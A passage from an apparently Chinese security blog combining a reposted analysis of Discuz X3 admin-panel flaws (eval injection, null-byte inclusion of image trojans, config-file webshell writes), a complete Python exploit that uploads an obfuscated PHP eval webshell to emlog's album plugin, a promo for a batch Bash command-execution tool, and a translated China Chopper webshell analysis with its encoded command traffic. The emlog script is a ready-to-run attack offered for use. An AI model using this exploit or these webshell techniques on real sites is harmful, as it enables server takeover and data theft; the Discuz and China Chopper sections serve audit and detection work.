【转自TSRC】浅谈开源web程序后台的安全性 网络安全

前言

       不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章 标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell3)控制主机赠送我国国旗。
        
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上 传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程 序的安全性。

二、简介

        
国内很多站点都是基于开源论坛、cms搭建的,比如discuzphpwinddedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得 到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
       Discuz
是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。

三、案例分析

Tips
:下文提到的$settingnewdiscuz后台存储表单数据的变量,后台用户可控。

案例一:用户输入数据过滤逻辑不当

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

01

<code id="code0">// 1alice修改$settingnew['extcredits']非数组

02

if(is_array($settingnew['extcredits'])) {


03

foreach($settingnew['extcredits'] as $key => $value) {

04

// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换


05

$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);

06

... 省略 ...


07

for($i = 1; $i <= 8; $i++) {

08

// 3 phpinfo();被赋值给$initformula


09

$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);

10

}


11

// 4phpinfo()带入eval执行

12

eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二:二次注入

        简单介绍一下二次注入,恶意用户aliceA处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

1

// 1alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库

2

if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

3

$seccoderoot = 'static/image/seccode/font/en/';

4

} elseif($settingnew['seccodedata']['type'] == 1) {

5

$seccoderoot = 'static/image/seccode/font/ch/';

6

}漏洞文件:source\module\misc\misc_seccode.php

01

// 2$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx

02

if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03

$etype = explode(':', $_G['setting']['seccodedata']['type']);

04

if(count($etype) > 1) {

05

// 3 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)

06

$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';


07

... 省略 ...

08

if(file_exists($codefile)) {

09

// 4、图片木马被include得到webshell

10

@include_once $codefile;

案例三:程序升级新增逻辑导致的漏洞

漏洞文件:X3\source\admincp\admincp_adv.php

01

// 1alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)

02

$type = $_GET['type'];

03

... ...

04

if($type) {

05

//2、得到$etype1.gif\0

06

$etype = explode(':', $type);

07

if(count($etype) > 1) {

08

//3$advfile值被\0截断,为图片木马路径1.gif

09

$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';

10

$advclass = 'adv_'.$etype[1];


11

}

12

... 省略 ...

13

//4、包含图片木马,得到webshell

14

if(file_exists($advfile)) {

15

require_once $advfile;

对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。

1

$type = $_GET['type'];

2

$target = $_GET['target'];

3

$typeadd = '';

4

if($type) {

5

$advfile = libfile('adv/'.$type, 'class');

6

if(file_exists($advfile)) {

7

require_once $advfile;

案例四:漏洞修补不完善

漏洞文件:X3\api\uc.php

分析:

01

//1config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');

02

$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03

... ...

04

//2$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05

$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);

06

//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件


07

if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {

08

       @fwrite($fp, trim($configfile));

09

       @fclose($fp);

10

}

11

//4 alice再次传入$UC_API的值为xyzpreg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell

这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/

四、总结

       上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注 入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:evalassert,文件包含:includerequire等,命令执行:systemexec 等,写文件:fwritefile_put_contents等;

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。

2
、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。

3
、漏洞Review
1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞 点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。


admin 发布于  2015-8-1 11:19 

emlog相册插件getshell exploit 渗透测试

emlog相册插件可直接getshell 这是python的exp

#!/usr/bin/env python

# -*- coding: gbk -*-

# -*- coding: utf_8 -*-

# Date: 2015/4/30

# Created by:Mrxn

# 博客 https://mrxn.net/

import sys, os, re, time


try:

    import requests

except ImportError:

    raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')


def usage():

    # os.system(['clear', 'cls'][os.name == 'nt'])

    print '+' + '-' * 60 + '+'

    print '\t Python emlog相册插件getshell exploit'

    print '\t   Blog:https://mrxn.net/'

    print '\t\t Code BY: Mrxn'

    print '\t\t Time:2015-05-29'

    print '+' + '-' * 60 + '+'

    if len(sys.argv) != 2:

        print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'

        print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'

        sys.exit()


def getshell(url):

    '''

    emlog相册插件上传getshell函数

    :param url:  emlog url地址

    :return:     返回得到的shell地址

    '''

    up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'

    shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"

    filename = "oneok'.php"

    with open(filename, 'wb') as shellok:

        shellok.write(shell)

    files = {

        'Filedata': (filename, open(filename, 'rb'), 'text/json'),

        'album': (None, 'waitalone.cn')

    }

    try:

        up_res = requests.post(up_url, files=files).content

        shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)

    except Exception, msg:

        print '\n[x] 发生错误了,卧槽!!!:', msg

    else:

        if shellok: return url + shellok[0]


if __name__ == '__main__':

    usage()

    start = time.time()

    url = sys.argv[1]

    if url[-1] != '/': url += '/'

    ok = getshell(url)

    try:

        os.remove('oneok\'.php')

    except Exception:

        print '\n[x] 删除临时文件失败,请手工删除!'

    if ok:

        print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')

    else:

        print '\n[x] 报告大爷,本站不存在此漏洞!'

    print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'

想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~


admin 发布于  2015-5-29 22:51 

Bash批量多线程自定义命令执行[非引擎版,读取本地URL文本 自定义命令]成品+源码 神器荟萃

BASH批量多线程自定义指令履行

使用方法:

bashREC.exe -u cgi.txt -c cmd.txt

下载地址:源.rar dist.rar 


admin 发布于  2015-4-3 20:22 

剖析中国菜刀第二部分 神器荟萃


介绍

在本系列的第一部分,我描述了中国砍刀的易于使用的界面和先进的功能 - 更卓越的综合考虑网络shell的微小尺寸:73字节的ASPX版本,4千字节的磁盘。在这篇文章中,我将解释中国砍刀平台的通用性,交付机制,流量模式和检测。我的希望是,有了这些信息,你可以消灭这种害虫从您的环境。

平台

那么,什么平台上可以运行中国菜刀?任何Web服务器能够运行JSP,ASP,ASPX,PHP或CFM的。这是大多数Web应用程序语言在那里。什么操作系统?中国斩波器具有足够的灵活性,以在Windows和Linux的透明运行。这个操作系统和应用程序的灵活性,使他们成为更危险的Web外壳。

在本系列的第一部分,我们发现中国砍刀执行使用ASPX在Windows 2003的IIS服务器上。现在,我们将显示它与PHP运行在Linux上。如图1的PHP版本的内容是一样的简约:


<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图1:此命令是所有它需要在Linux上使用PHP来运行。<br> <br> &nbsp;<br> <br> 虽然可用选项因什么平台中国砍刀上运行,Linux中的文件管理功能(见图2),类似于那些在Windows中。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg"><img width="782" height="325" class="alignnone size-full wp-image-2662 landscape-med" style="border:0px currentColor;border-image:none;" alt="image002" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg" data-ke-src="https://mrxn.net/content/uploadfile/201504/56580223669557b619faa1a69b9d820620150418124111.jpg"></a> </p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图2:文件浏览功能在目标系统上运行Linux<br> <br> &nbsp;<br> <br> 在图3所示的数据库的客户端的例子是MySQL的,而不是MS-SQL中,但它提供了许多相同的功能。</p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="297" class="alignnone size-full wp-image-2663 landscape-med" style="border:0px currentColor;border-image:none;" alt="image003" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg"> </p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图3:从目标系统运行Linux的数据库管理<br> <br> &nbsp;<br> <br> 虚拟终端看起来熟悉(图4),但使用的Linux命令代替视窗,因为这些是由底层操作系统最终解释。</p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
    <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="296" class="alignnone size-full wp-image-2664 landscape-med" style="border:0px currentColor;border-image:none;" alt="image004" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg"></p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图4:从目标系统运行的Linux虚拟终端<br> <br> &nbsp;<br> <br> 交付机制<br> <br> 中国斩波的递送机制可以非常灵活,由于恶意软件的有效载荷的大小,格式,和简单。这个小的,基于文本的有效载荷可以通过以下任一机制来递送:<br> <br> &nbsp;&nbsp;&nbsp; WebDAV的文件上传<br> &nbsp;&nbsp;&nbsp; JBoss的JMX控制台或Apache Tomcat的管理页面(有关此攻击媒介的详细信息,请阅读FireEye顾问托尼·李的解释)<br> &nbsp;&nbsp;&nbsp; 与文件放置远程攻击<br> &nbsp;&nbsp;&nbsp; 从其他接入横向传播<br> <br> &nbsp;<br> 流量分析<br> <br> 现在我们已经看到了服务器侧有效载荷和用于控制Web壳客户端。现在,让我们来看看中国砍刀的流量。幸运的是,我们在服务器和客户端组件,所以我们可以开始一个数据包捕获,查看典型流量的内容。如图5所示,客户端启动使用HTTP POST方法通过TCP端口80的连接。</p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
        <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="448" class="alignnone size-full wp-image-2671 landscape-med" style="border:0px currentColor;border-image:none;" alt="image007" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg"></p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图5:数据包捕获显示,网络流量的外壳是通过TCP 80端口的HTTP POST交通<br> <br> &nbsp;<br> <br> 因为这是TCP流量,我们可以在“遵循TCP”,在Wireshark的流(一种流行的开源网络协议分析仪,在Unix和Windows的作品)。在图6中,在顶部的红色交通从攻击(Web客户机)。在底部显示为蓝色交通从目标(网络外壳)的响应。</p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.wireshark.org/" data-ke-src="http://www.wireshark.org/"></a> </p>
            <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="754" height="667" class="alignnone size-full wp-image-2672 landscape-med" style="border:0px currentColor;border-image:none;" alt="image008" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image0081.png"> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图6:继TCP流之后,我们可以看到,大多数攻击者的流量是Base64编码。<br> <br> &nbsp;<br> <br> 如上述所强调的,多数攻击流量似乎Base64编码。这是没有问题的,但是,因为它可以很容易地解码。我们使用免费的提琴手网页调试器的“TextWizard”功能来发现攻击者发送。 (注:%3D是等号的URL编码表示(“=”)提琴手需要这种转换为等号正确解码。)<br> <br> 原料攻击流量:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong></strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>Password=Response.Write("-&gt;|");<p style="margin:5px 0px;-ms-word-wrap:break-word;">var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System. Convert.FromBase64String</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">("ERROR:// "%2Berr.message);}Response.Write("|&lt;-");Response.End();&amp;z1=Y21k&amp;z2=Y2QgL2QgImM6</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">如图9中,提琴手网页调试文本向导轻松地转换成原始流量的Base64为纯文本。</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="579" class="alignnone size-full wp-image-2673 landscape-med" style="border:0px currentColor;border-image:none;" alt="image009" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image009.jpg"></a> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图9:网页调试器解码的Base64交通</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>Decoded traffic:</strong> </p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).<p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z1</b>"])));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">vare=newSystem.Diagnostics.Process();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">varout:System.IO.StreamReader,EI:System.IO.StreamReader;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.UseShellExecute=false;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">c.RedirectStandardOutput=true;c.RedirectStandardError=true;</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">GetString(System.Convert.FromBase64String(Request.Item["<b>z2</b>"]));</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();</p><p style="margin:5px 0px;-ms-word-wrap:break-word;">Response.Write(out.ReadToEnd()+EI.ReadToEnd());</p></pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">最后,我们有更多的东西可读。然而,我们的Base64解码交通正试图解码正被存储为Z1和Z2更Base64的流量。回到我们的攻击流量,“密码”参数结束之后,我们看到了Z1和Z2参数。<br> <br> 我突出Base64编码参数Z1和Z2以下的输出:</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;">
                                    <pre>&amp;<span style="text-decoration:underline;"><b>z1</b></span>=Y21k&amp;<span style="text-decoration:underline;"><b>z2</b></span>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">Base64解码参数的Z1和Z2:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&amp;whoami&amp;echo [S]&amp;cd&amp;echo [E]</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">这也解释了客户如何与外壳进行通信。 “密码”的参数传递给被执行的代码的有效载荷。该Z1是cmd,然后Z2包含的参数通过CMD / C发送的命令提示符。所有输出发送到标准输出(stdout)回攻击者,从而创建以下响应whoami命令和当前的工作目录:</p>
                <div class="blog-table-wrapper" style="font:12px/18px &quot;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">
                    <table style="border-collapse:collapse;" border="1" cellspacing="0" cellpadding="0">
                        <tbody>
                            <tr>
                                <td valign="top" style="font:12px/1.5 &quot;text-align:left;">
                                    <pre>-&gt;|nt authority\network service[S]C:\Inetpub\wwwroot[E]|&lt;-</pre>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">&nbsp;</p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><strong>发现<br> <br> 现在,我们了解中国砍刀的内容以及它的交通是什么样子,我们可以集中精力的方法来检测这种害虫无论是在网络和主机级别。<br> 网络<br> <br> 与标准的Snort IDS到位,这些流量可以被捕获相对容易。基思·泰勒给出了一个基本的IDS特征在他早期的中国砍刀博客文章的工作:</strong> </p>
                <p style="font:12px/18px &quot;margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="http://www.snort.org/" data-ke-src="http://www.snort.org/" target="_blank"></a><a href="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html" data-ke-src="http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html"></a> </p>
